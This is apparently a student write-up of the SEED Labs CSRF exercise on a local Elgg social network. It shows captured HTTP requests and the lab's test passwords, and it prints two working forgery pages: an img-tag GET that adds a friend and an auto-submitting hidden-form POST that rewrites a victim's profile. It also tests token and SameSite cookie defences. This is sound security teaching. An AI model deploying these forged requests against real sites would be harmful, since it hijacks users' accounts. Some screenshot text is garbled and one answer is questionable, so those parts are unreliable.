Cross-Site Request Forgery (CSRF) Attack Lab (Web Application: Elgg)

2 Lab Environment Setup

2.1 Container Setup and Commands

- Step 1: download the **Labsetup.zip** file to your VM from the lab's website https://seedsecuritylabs.org/Labs_20.04/Files/Web_CSRF_Elgg/Labsetup.zip
- Step 2: unzip it
- Step 3: enter the Labsetup folder: command dcbuild, dcup

```
seed@VM:
                                         seed@VM: ~/.../Labsetup
[04/14/25]seed@VM:~/.../Labsetup$ dcbuild
Building elgg
Step 1/10 : FROM handsonsecurity/seed-elgg:original
original: Pulling from handsonsecurity/seed-elgg
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
d801bb9d0b6c: Already exists
9c11a94ddf64: Pull complete
81f03e4cea1b: Pull complete
0ba9335b8768: Pull complete
8ba195fb6798: Pull complete
264df06c23d3: Pull complete
Digest: sha256:728dc5e7de5a11bea1b741f8ec59ded392bbeb9eb2fb425b8750773ccda8f706
Status: Downloaded newer image for handsonsecurity/seed-elgg:original
 ---> e7f441caa931
Step 2/10 : ARG WWWDir=/var/www/elgg
---> Running in fe93804cd8a8
Removing intermediate container fe93804cd8a8
---> ab4fc88e55a6
Step 3/10 : COPY elgg/settings.php $WWWDir/elgg-config/settings.php
 ---> d265f0802e86
Step 4/10 : COPY elgg/Csrf.php
                                   $WWWDir/vendor/elgg/elgg/engine/classes/Elgg/Security/Csrf.php
 ---> 6a5ae56a87d2
Step 5/10 : COPY elgg/ajax.js
                                   $WWWDir/vendor/elgg/elgg/views/default/core/js/
 ---> 33815a889476
Step 6/10 : COPY apache_elgg.conf /etc/apache2/sites-available/
 ---> 54fbbadda0f0
Step 7/10 : RUN a2ensite apache_elgg.conf
 ---> Running in 0b169e5cda06
Site apache_elgg already enabled
Removing intermediate container 0b169e5cda06
---> c93973a8d7a6
Step 8/10 : COPY defense /var/www/defense
---> 5987befa2563
Step 9/10 : COPY apache_defense.conf /etc/apache2/sites-available/
 ---> da196f4cc9c3
Step 10/10 : RUN a2ensite apache_defense.conf
---> Running in 08cb23114627
Enabling site apache_defense.
To activate the new configuration, you need to run:
 service apache2 reload
Removing intermediate container 08cb23114627
 ---> 7e26c020fed7
```

Successfully built 7e26c020fed7


```
Successfully built 7e26c020fed7
Successfully tagged seed-image-www-csrf:latest
Building mysql
Step 1/7 : FROM mysql:8.0.22
8.0.22: Pulling from library/mysql
a076a628af6f: Pull complete
f6c208f3f991: Pull complete
88a9455a9165: Pull complete
406c9b8427c6: Pull complete
7c88599c0b25: Pull complete
25b5c6debdaf: Pull complete
43a5816f1617: Pull complete
69dd1fbf9190: Pull complete
5346a60dcee8: Pull complete
ef28da371fc9: Pull complete
fd04d935b852: Pull complete
050c49742ea2: Pull complete
Digest: sha256:0fd2898dc1c946b34dceaccc3b80d38b1049285c1dab70df7480de62265d6213
Status: Downloaded newer image for mysql:8.0.22
 ---> d4c3cafb11d5
Step 2/7 : ARG DEBIAN_FRONTEND=noninteractive
 ---> Running in a4abad95ecc0
Removing intermediate container a4abad95ecc0
 ---> ca0b6c4a4281
Step 3/7 : ENV MYSQL_ROOT_PASSWORD=dees
---> Running in 237b9228ab02
Removing intermediate container 237b9228ab02
 ---> 4d8842fdb49f
Step 4/7 : ENV MYSQL_USER=seed
 ---> Running in b496c8d15dac
Removing intermediate container b496c8d15dac
 ---> aa3951ae0cd5
Step 5/7 : ENV MYSQL_PASSWORD=dees
---> Running in d8d350b913ef
Removing intermediate container d8d350b913ef
 ---> fdfe67cc2c2c
Step 6/7 : ENV MYSQL_DATABASE=elgg_seed
 ---> Running in 94817214ea2f
Removing intermediate container 94817214ea2f
 ---> 1ce0992e4bd4
Step 7/7 : COPY elgg.sql /docker-entrypoint-initdb.d
 ---> e6f07176cd93
Successfully built e6f07176cd93
Successfully tagged seed-image-mysql-csrf:latest
Building attacker
Step 1/3 : FROM handsonsecurity/seed-server:apache-php
 ---> 2365d0ed3ad9
Step 2/3 : COPY apache attacker.conf server name.conf /etc/apache2/sites-available/
 ---> ea6ee4a29fd7
                                                   && a2ensite apache attacker.conf
Step 3/3 : RUN a2ensite server_name.conf
 ---> Running in ce2959a0a512
Enabling site server_name.
To activate the new configuration, you need to run:
 service apache2 reload
Enabling site apache_attacker.
To activate the new configuration, you need to run:
 service apache2 reload
Removing intermediate container ce2959a0a512
 ---> f6e0b93444b4
Successfully built f6e0b93444b4
```

Successfully tagged seed-image-attacker-csrf:latest

```
seed@VM: ~/.../Labsetup
                                                                             seed@VM: ~/.../Labsetup
[04/14/25]seed@VM:~/.../Labsetup$ dcup
 IARNING: Found orphan containers (mitm-proxy-10.9.0.143, client-10.9.0.5, server-10.9.0.43) for this project. If
you removed or renamed this service in your compose file, you can run this command with the --remove-orphans fl
ag to clean it up.
Creating elgg-10.9.0.5
Creating attacker-10.9.0.105 ... done
Creating mysql-10.9.0.6
                               ... done
Attaching to elgg-10.9.0.5, attacker-10.9.0.105, mysql-10.9.0.6
mysql-10.9.0.6 | 2025-04-14 07:10:01+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.22-1debia
n10 started.
mysql-10.9.0.6 | 2025-04-14 07:10:01+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'
nysql-10.9.0.6 | 2025-04-14 07:10:01+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.22-1debia
n10 started.
mysql-10.9.0.6 | 2025-04-14 07:10:02+00:00 [Note] [Entrypoint]: Initializing database files
mysql-10.9.0.6 | 2025-04-14T07:10:02.072162Z 0 [System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.22) in
itializing of server in progress as process 45
mysql-10.9.0.6 | 2025-04-14T07:10:02.082287Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
elgg-10.9.0.5 |
                  * Starting Apache httpd web server apache2
attacker-10.9.0.105 | * Starting Apache httpd web server apache2
mysql-10.9.0.6 | 2025-04-14T07:10:04.323049Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
                  2025-04-14T07:10:06.943091Z 6 [Warning] [MY-010453] [Server] root@localhost is created with an
mysql-10.9.0.6 |
empty password !
                  Please consider switching off the --initialize-insecure option.
                  2025-04-14 07:10:12+00:00 [Note] [Entrypoint]: Database files initialized 2025-04-14 07:10:12+00:00 [Note] [Entrypoint]: Starting temporary server
mysql-10.9.0.6 |
mysql-10.9.0.6
                  mysqld will log errors to /var/lib/mysql/bda969d5d2c3.err
mysql-10.9.0.6
mysql-10.9.0.6
                  mysgld is running as pid 92
                  2025-04-14 07:10:18+00:00 [Note] [Entrypoint]: Temporary server started. Warning: Unable to load '/usr/share/zoneinfo/iso3166.tab' as time zone. Skipping it. Warning: Unable to load '/usr/share/zoneinfo/leap-seconds.list' as time zone. Skipping it.
mysql-10.9.0.6
mysql-10.9.0.6
mysql-10.9.0.6
                  Warning: Unable to load '/usr/share/zoneinfo/zone.tab' as time zone. Skipping it.
mysql-10.9.0.6
                  Warning: Unable to load '/usr/share/zoneinfo/zone1970.tab' as time zone. Skipping it.
mysql-10.9.0.6
                  2025-04-14 07:10:21+00:00 [Note] [Entrypoint]: Creating database elgg_seed 2025-04-14 07:10:22+00:00 [Note] [Entrypoint]: Creating user seed
mysql-10.9.0.6
mysql-10.9.0.6
mysql-10.9.0.6
                  2025-04-14 07:10:22+00:00 [Note] [Entrypoint]: Giving user seed access to schema elgg_seed
mysql-10.9.0.6
nysql-10.9.0.6 |
                  2025-04-14 07:10:22+00:00 [Note] [Entrypoint]: /usr/local/bin/docker-entrypoint.sh: running /do
cker-entrypoint-initdb.d/elgg.sql
mysql-10.9.0.6 |
mysql-10.9.0.6
mysql-10.9.0.6 |
                  2025-04-14 07:10:24+00:00 [Note] [Entrypoint]: Stopping temporary server
mvsal-10.9.0.6 |
                  2025-04-14 07:10:28+00:00 [Note] [Entrypoint]: Temporary server stopped
mysql-10.9.0.6
mysql-10.9.0.6 |
                  2025-04-14 07:10:28+00:00 [Note] [Entrypoint]: MySQL init process done. Ready for start up.
mysql-10.9.0.6 |
mysql-10.9.0.6 | 2025-04-14T07:10:29.393407Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.22) st
arting as process 1
mysql-10.9.0.6 | 2025-04-14T07:10:29.406108Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
mysql-10.9.0.6 | 2025-04-14T07:10:30.451150Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
nysql-10.9.0.6 | 2025-04-14T07:10:31.276184Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bin
d-address: '::' port: 33060, socket: /var/run/mysqld/mysqlx.sock
mysql-10.9.0.6 | 2025-04-14T07:10:31.366427Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self sign
mysql-10.9.0.6 | 2025-04-14T07:10:31.366624Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to su
pport TLS. Encrypted connections are now supported for this channel.
mysql-10.9.0.6 | 2025-04-14T07:10:31.374085Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-f
ile: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directo
mysql-10.9.0.6 | 2025-04-14T07:10:31.416976Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connect
ions. Version: '8.0.22' socket: '/var/run/mysqld/mysqld.sock' port: 3306 MySQL Community Server - GPL.
```

All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container. Using **dockps**, **docksh**


Another terminal:



- and use the docker-compose.yml file to set up the lab environment.

2.2 Elgg Web Application

a. The Elgg container



b. The Attacker container

a folder (**Labsetup/attacker** on the hosting VM) to the container's /var/www/attacker folder, which is the DocumentRoot folder in our Apache configuration.

c. DNS configuration


to add the following entries to the **/etc/hosts** file, so these hostnames are mapped to their corresponding IP addresses. You need to use the root privilege to change this file (using **sudo**).

```
10.9.0.5 www.seed-server.com
10.9.0.5 www.example32.com
10.9.0.105 www.attacker32.com
[04/14/25]seed@VM:~/.../Labsetup$ sudo vim /etc/hosts
```

```
Q
                                               seed@VM: ~/.../Labsetup
                  seed@VM: ~/.../Labsetup
                                                                         seed@VM: ~/.../Labsetup
                localhost
127.0.0.1
127.0.1.1
                VM
# The following lines are desirable for IPv6 capable hosts
       ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# For DNS Rebinding Lab
192.168.60.80 www.seedIoT32.com
# For SQL Injection Lab
10.9.0.5
               www.SeedLabSQLInjection.com
# For XSS Lab
10.9.0.5
                www.xsslabelgg.com
10.9.0.5
                www.example32a.com
10.9.0.5
                www.example32b.com
                www.example32c.com
10.9.0.5
10.9.0.5
                www.example60.com
10.9.0.5
                www.example70.com
# For CSRF Lab
#10.9.0.5
                 www.csrflabelgg.com
                 www.csrflab-defense.com
#10.9.0.5
#10.9.0.105
                 www.csrflab-attacker.com
10.9.0.5
                www.seed-server.com
10.9.0.5
                www.example32.com
10.9.0.105
               www.attacker32.com
# For Shellshock Lab
10.9.0.80
               www.seedlab-shellshock.com
10.9.0.80
                www.thanh2024.com
# For Hostname check lab
172.217.194.103 www.goooooogle.com
-- INSERT --
                                                                                               39
```

d. MySQL database

the mysql data folder on the host machine (inside Labsetup)



e. User accounts


several user accounts on the Elgg server are created.

UserName	Password
admin	seedelgg
alice	seedalice
boby	seedboby
charlie	seedcharlie
samy	seedsamy


3 Lab Tasks: Attacks

3.1 Task 1: Observing HTTP Request.

Step 1: Enter Name and Password into page www.seed-server.com



Step 2: Open HTTP Header Live and Login



Step 3: to capture an HTTP GET request and parameters in Elgg.

http://www.seed-server.com/action/login Host: www.seed-server.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Elgg-Ajax-API: 2 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----geckoformboundarye6a3926e3cf4439566638bb5e375f66e Content-Length: 550 Origin: http://www.seed-server.com Connection: keep-alive Referer: http://www.seed-server.com/ Cookie: Elgg=ue75up0vivhrcbpcpk5gsgh5m6 elgg_token=dF9wiS-ldEXwxqDBIxPVAw&_elgg_ts=1745184866&user<mark>name=alice</mark>&password=seedalice POST: HTTP/1.1 200 OK Date: Sun, 20 Apr 2025 21:37:20 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: must-revalidate, no-cache, no-store, private expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache Set-Cookie: Elgg=lm1s205mtddk5hpudjrvciis05; path=/ Vary: User-Agent Content-Length: 408 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json

```
POST > http://www.seed-server.com/action/login
Host: www.seed-server.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rx:136.0) Gecko/20100101 Firefox/136.0
Accept: application/ison, text/jaxascript, */*; q=0.01
Accept-Language: en-Us,en;q=0.5
Accept-Encoding: ggip, deflate
X.Elgg.Ajax.API: 2
X.Requested-With: MilhttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundarye6a3926e3cf4439566638bb5e375f66e
Content-Length: 550
Origin: http://www.seed-server.com
Connection: keep-alive
Referer: http://www.seed-server.com/
Cookie: Elgg=ue75up8vivhrcbpcpk5gsgh5m6

elgg_token=dF9wiS-ldEXwxqDBIxPVAw&_elgg_ts=1745184866&username=alice&password=seedalice
```

Send

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0	Identifies the client software
Accept: application/json, text/javascript, */ *; q=0.01	Specifies media types accepted
X-Elgg-Ajax-API: 2	Custom header, possibly for Elgg framework or AJAX validation
X-Requested-With: XMLHttpRequest	Indicates an AJAX request
Content-Type: multipart/form-data; boundary = geckoformboundarye6a3926e3cf4439566638bb5 e375f66e	Indicates form data with files or large data
Content-Length: 550	Size of the request body
Origin: http://www.seed-server.com	CORS policy enforcement
Beferer: http://www.seed-server.com/	Tells where the request originated
Cookie: Elgg=ue75up0vivhrcbpcpk5gsgh5m6	Session Identifier

Step 4: to capture an HTTP POST request and parameters in Elgg.

```
http://www.seed-server.com/
Host: www.seed-server.com/
Host: www.seed-server.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.seed-server.com/
Cookie: Etgg=Imis205mtddkShpudjrvciis05
Ubgrade-Insecure-Requests: 1
GET: HTTP/1.1 200 OK
Date: Sun, 20 Apr 2025 21:37:21 GMT
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
x-frame-options: SaMPORIGIN
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
x-content-type-options: nosniff
Vary: Accept-Encoding, User-Agent
Content-Encoding, User-Agent
Content-Length: 2878
Keep-Alive: timeout-5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```


| Section | Cookie: Elag=Im1s205mtddk5hpudjrvciis05

Cookie: Elgg=lmls205mtddk5hpudjrvciis05	session ID
Upgrade-Insecure-Requests: 1	Tells the server the client prefers secure responses


This cookie is used to maintain the user session between requests.

3.2 Task 2: CSRF Attack using GET Request

Step 1: Logout Alice's account and login Samy's name and password into page



Step 3: Open HTTP Header Live and Add friend Alice



```
Extension: (HTTP Header Live) - HTTP Header Live Main — Mozilla Firefox

http://www.seed-server.com/action/friends/add?friend=56& algg ts=1745191909& elgg_token=zc_gxHbnVLrooXQA9SYjng&_elgg_ts=1745191909&_elgg_token=zc_gxHbnVLrooXQA9SYjng hist: www.seed-server.com
User-Agent: Mozilla/5.0 (XII; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: Agentication/json, text/javascript, */*; q=0.01
Accept: Englication/json, text/javascript, */*; q=0.01
Accept: Englication/json, text/javascript, */*; q=0.01
Accept: Englication/json; text/javascri
```


Step 4: Go to Samy's profile page, click right mouse and choose View Page Source



guid = 59 (Samy)	currently logged-in user has ID 59.
?friend=56 (Alice)	ID of the user you are trying to add as a friend

⇒ User 59 (logged in) is trying to add User 56 as a friend.

Step 5: Logout Samy's account and login Alice's account. Alice is not yet Samy's friend.



Step 6: Use the **img tag**, which automatically triggers an HTTP GET request Edit file addfriend.html where img tag :

http://www.seed-server.com/action/friends/add?friend=59

```
[04/20/25]seed@VM:~/.../attacker$ docksh 2c
root@2c82fed5ed6f:/# ls /var/www
attacker html

root@2c82fed5ed6f:/var/www/attacker# nano addfriend.html
root@2c82fed5ed6f:/var/www/attacker# cat addfriend.html
<html>
<body>
<h1>This page forges an HTTP GET request</h1>
<img src="http://www.seed-server.com/action/friends/add?friend=59" alt="image" width="1" height="1" />
</body>
</html>
root@2c82fed5ed6f:/var/www/attacker#
```


Step 7: Link to www.attacker32.com and choose Add-Friend Attack link to go another page. After, reload page.



This page forges an HTTP GET request




Step 8: Return Alice's account page. Reload page and we see that Alice has 1 friend Samy.




3.3 Task 3: CSRF Attack using POST Request

Step 1: Logout Alice's account and login Samy's account.

Step 2: Edit profile






Step 3: the attacker injects into the malicious HTML page using JavaScript:

</body>

```
[04/21/25]seed@VM:~/.../attacker$ nano editprofile.html
[04/21/25]seed@VM:~/.../attacker$ docker cp editprofile.html 2c82fed5ed6f:/var/www/attacker
```

```
H.
                                                     seed@VM: ~/.../attacker
                     seed@VM: ~/.../attacker
                                                                                 seed@VM: ~/
 GNU nano 4.8
                                                        editprofile.html
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">
function forge_post()
{
    var fields;
    // The following are form entries need to be filled out by attackers.
    // The entries are made hidden, so the victim won't be able to see them.
    fields += "<input type='hidden' name='name' value='Alice'>";
    fields += "<input type='hidden' name='briefdescription' value='Samy is my Hero'>";
    fields += "<input type='hidden' name='description' value='Samy is my Hello'>";
    fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
    fields += "<input type='hidden' name='guid' value='56'>";
    // Create a <form> element.
    var p = document.createElement("form");
    // Construct the form
    p.action = "http://www.seed-server.com/action/profile/edit";
    p.innerHTML = fields;
    p.method = "post";
    // Append the form to the current page.
    document.body.appendChild(p);
    // Submit the form
    p.submit();
}
// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
```

Step 4: Logout Samy's account and login Alice's account. This Alice's profile page.




Step 5: Link to www.attacker32.com and choose Edit-Profile attack link. Alice's profile page is updated.



This page forges an HTTP POST request.

undefined



Question 1:

The forged HTTP request needs Alice's user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice's user id. Boby does not know Alice's Elgg password, so he cannot log into Alice's account to get the information. Please describe how Boby can solve this problem

- ⇒ Profile URLs: If Alice's profile URL includes her guid. For example, http://www.seed-server.com/profile/[guid]. Boby can extract it from shared links or browser history.
- ⇒ Public Content: If Alice posts publicly, inspect the HTML source of her posts or profile page. The guid might be embedded in hidden fields such as <input type="hidden" name="guid" value="123"> or JavaScript variables.

Question 2:

If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim's Elgg profile? Please explain.

⇒ No, Boby cannot launch a generic CSRF attack to modify the victim's profile without knowing their guid beforehand. The attack requires the victim's guid to be included in the forged POST request (guid). Since the guid is unique to each user and not exposed cross-origin. Thus, without prior knowledge of the victim's guid, the attack cannot succeed.


4 Lab Tasks: Defense

4.1 Task 4: Enabling Elgg's Countermeasure

Task: Turn on the countermeasure. To turn on the countermeasure, get into the Elgg container, go to the /var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security folder, remove the return statement from Csrf.php. A simple editor called nano is available from inside the container.


```
root@5d349e6f0d8a: /var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security
  root@5d349e6f0d8a: /var/www/elgg/vendor/elgg/elgg/engine/classes/El...
                                                                                                                         seed@VM: ~/.../attacker
GNII nano 4.8
                                                                                                                                                                         Modified
                     HmacFactory $hr
         ) {
                    $this->config = $config;
                    $this->session = $session;
$this->crypto = $crypto;
$this->hmac = $hmac;
           * Validate CSRF tokens present in the request
           * @param Request $request Request
           * @return void
           * @throws CsrfException
         public function validate(Request $request) {
    return; // Added for SEED Labs (disabling the CSRF countermeasure)
//
                    $token = $request->getParam('__elgg_to
$ts = $request->getParam('__elgg_ts');
                    $session_id = $this->session->getID();
                    if (($token) && ($ts) && ($session_id)) {
    if ($this->validateTokenOwnership($token, $ts)) {
        if ($this->validateTokenTimestamp($ts)) {
                                                     // We have already got this far, so unless anything
                                                     // else says something to the contrary we assume we're ok
{returnval = {request->elgg()->hooks->trigger('action_gatekeeper:permissions:check', 'all', [
                                                               'token' => $token,
'time' => $ts
                                                     ], true);
                                                     if ($returnval) {
                                                    } else {
                                                                throw new CsrfException($request->elgg()->echo('actiongatekeeper:pluginprevents'));
                                         } else { // this is necessary because of #5133
```

Delete post a message "Samy is my Hero in Alice's profile. Delete the friend list of Alice



After making the change, repeat the attack again.


Link to www.attacker32.com and choose Add-Friend Attack link. Next, reload page.



CSRF Attacker's Page

- Add-Friend Attack
- Edit-Profile Attack


Appear error noice: Form is missing__token or__ts fields
Friend list is empty. Tokens enabled but we didn't supply them based on the same site policy.



choose Edit-Profile Attack link. Next, reload page.

Appear error noice: Form is missing__token or__ts fields


You don't have authorizer to update profile or edit profile



Conclusion:

- After enabling Elgg's CSRF countermeasure by removing the return statement in Csrf.php, the attack will fail.
- The attacker cannot forge valid __elgg_ts and __elgg_token values because they are tied to the victim's active session and protected by browser security policies (SOP).
 CSRF attacks fail because the malicious request lacks these tokens, and the attacker has no way to extract them from the victim's legitimate session on seed-server.com.


4.2 Task 5: Experimenting with the SameSite Cookie Method



Link A points to a page on example32.com Link B points to a page on attacker32.com

```
showcookies.php
             J∓1
                                                        Save
                                                               \equiv
  Open
                     ~/sns2025/lab5/Labsetup/image_www/defense
 1 <html>
 2 <head><title>SameSite Cookie Experiment</title></head>
 3 <style>
 4 body{
 5
         background-color: #D4EFDF;
         font-family: Arial, Helvetica, sans-serif;
 7
         margin: 40px;
 8 }
 9 li { color: blue }
10 </style>
11 <body>
12
13 <h1>Displaying All Cookies Sent by Browser</h1>
14
15 
16 <?php
17 foreach ($_COOKIE as $key=>$val)
18
      echo '<h3>'.$key.'='.$val."</h3>\n";
19
20
21 ?>
22 
24 <h2>Your request is a <font color='red'>
25 <?php
26 if(isset($_COOKIE['cookie-strict|'])) {
27
     echo 'same-site ';
28 }
29 else {
     echo 'cross-site ';
30
31 }
32 ?>
33 </font>
34 request!
35 </h2>
36
37 </body>
38 </html>
39
40
41
```

- Please describe what you see and explain why some cookies are not sent in certain scenarios.
- 1. Link A (Same-Site Request: example32.com → example32.com):
 - All cookies (cookie-normal, cookie-lax, cookie-strict) are sent to showcookies.php.
 - Reason: The request originates from the same site (example32.com), so all cookies (including SameSite) are attached by the browser.



Displaying All Cookies Sent by Browser

- cookie-normal=aaaaaa
- cookie-lax=bbbbbb
- cookie-strict=ccccc

Your request is a same-site request!

- 2. Link B (Cross-Site Request: attacker32.com → example32.com):
 - Only cookie-normal is sent.
 - o cookie-lax is not sent unless the request is a top-level navigation
 - o cookie-strict is never sent in cross-site requests.
 - o Reason:
 - SameSite=Lax: Cookies are sent only for safe HTTP methods (GET) in top-level navigations. For non-GET requests (POST) or embedded requests (images, scripts), cookies are blocked.
 - SameSite=Strict: Cookies are never sent in cross-site requests, regardless of the request type.
 - Normal Cookie: No restrictions; always sent.

Displaying All Cookies Sent by Browser

- · cookie-normal=aaaaaa
- cookie-lax=bbbbbb

Your request is a cross-site request!

please describe how the SameSite cookies can help a server detect whether a request is a cross-site or same-site request.

The browser enforces the SameSite attribute when attaching cookies to requests:

- If a request is same-site (example32.com → example32.com), all cookies (including SameSite) are sent.
- If a request is cross-site (attacker32.com → example32.com), the browser checks the SameSite flag:
 - SameSite=None/Lax/Strict determines whether the cookie is included.
 - A missing cookie (cookie-strict in cross-site requests) indicates the request is cross-origin.

By checking for the presence of SameSite cookies (session IDs), the server can infer whether the request originated from a same-site or cross-site context. If a critical cookie like a session ID is marked SameSite=Strict, its absence in a request strongly suggests a cross-site forgery attempt.

- Please describe how you would use the SameSite cookie mechanism to help Elgg defend against CSRF attacks.
 - 1. Mark Session Cookies as SameSite=Strict or Lax:
 - Configure Elgg's session cookies with the SameSite attribute.
 - Example (PHP configuration):
 - o php
 - Copy
 - Download
 - session_set_cookie_params(['samesite' => 'Strict']);
 - 2. Impact on CSRF Attacks:
 - SameSite=Strict: The session cookie is never sent in cross-site requests.
 Attackers cannot forge authenticated requests (profile edits) because the browser excludes the session cookie.

 SameSite=Lax: The session cookie is only sent for safe top-level navigations (clicking a link). POST requests (common in CSRF attacks) would lack the session cookie, blocking the attack.

3. Benefits:

- o Eliminates the need for CSRF tokens in many cases.
- Simplifies server-side logic by relying on browser-enforced cookie policies.